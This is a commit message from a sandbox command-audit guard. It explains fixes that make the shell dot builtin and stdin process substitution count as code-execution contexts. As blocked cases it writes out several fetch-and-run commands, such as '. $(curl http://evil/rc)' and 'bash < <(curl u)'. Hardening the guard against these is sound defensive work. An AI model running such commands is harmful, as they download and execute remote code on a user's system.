Aling33 8f78afe975
fix(sandbox): treat the . builtin as a source execution context (#7247)
* fix(sandbox): treat the `.` builtin as a `source` execution context

The audit guard blocks a risky substitution whose output is executed and
treats `eval`/`source` arguments as execution contexts wherever they appear.
`.` is the POSIX spelling of `source`, but only the word `source` matched, so

    . $(curl http://evil/rc)
    . <(curl http://evil/rc)
    . `curl http://evil/rc`

passed as value position while `source $(curl ...)` blocked.

The dot branch requires a separator before it and whitespace after it, so a dot
inside a filename (`report.`) or a path (`./x`) is not read as the builtin.

* fix(sandbox): keep the dot builtin in command position only

Review follow-up: the unanchored `. <substitution>` branch also matched a
standalone dot used as a path argument (`du -sh . $(curl u)`), which is value
position and must pass.

Move the dot rule from the whole-command Pass 1 into the anchored
`_HIGH_RISK_COMMAND_POSITION_PATTERNS`, where `_COMMAND_POSITION_PREFIX`
already covers `builtin .`, `command .` and assignment prefixes, so the dot is
only treated as `source` when it opens a sub-command.

Verified: `du -sh . $(curl u)` passes (blocked before this commit), while
`. $(curl u)`, `. <(curl u)`, the backtick form, `builtin . …` and
`return && . …` still block. Docs now list `.` as command-position and keep the
position-blind list at `eval`/`source`.

* fix(sandbox): block stdin-redirect process substitution into a shell

Review follow-up to `. < <(curl u)`: with no script argument, a shell, the dot
builtin or an interpreter reads its *program* from stdin, so the process
substitution it is redirected from is executed.

Both forms are matched anchored in command position and only when no script
argument precedes the redirect, so `bash script.sh < <(curl u)` (stdin data)
still passes. Docs record the rule next to the here-string context.

* fix(sandbox): restore eval/source dot contexts and widen stdin flags

Review follow-up to 526fdaf:

- `eval . $(curl u)` and its dot-builtin siblings were blocked by the old
  position-blind rule, then became pass when the dot rule moved to command
  position. A Pass-1 sibling now matches `eval`/`source` followed by the dot,
  wrappers included (`eval env . $(curl u)`).
- The stdin-redirect rule consumes long and bare-dash flags again
  (`bash --norc < <(curl u)`, `node - < <(curl u)`). A flag whose value is the
  next word (`bash -o pipefail < <(curl u)`) stays a documented known gap
  instead of being guessed at.

* fix(sandbox): decide stdin-program execution from the token list

Review follow-up to a7c4a69. The stdin-redirect rule blocked three forms that
never execute the fetched bytes:

- `bash < <(curl u) consumer.sh` / `python3 < <(...) consumer.py` — a script
  operand wins, so the substitution is that script's stdin data.
- `bash -n < <(curl u)` / `sh -n < ...` — noexec parses without running.
- `. < <(curl u)` / `source < <(curl u)` — the dot builtin requires a filename
  and errors out instead of reading a program from stdin.

The anchored pattern is replaced by `_stdin_program_substitution`, which checks
the interpreter, its flags (shell noexec), the redirect, and whether a script
operand follows the substitution. Blocked forms are unchanged: `bash <
<(curl u)`, long and bare-dash flags, `env bash`, and non-shell interpreters
(`perl -n`).

---------

Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
2026-10-22 14:49:32 +08:00
..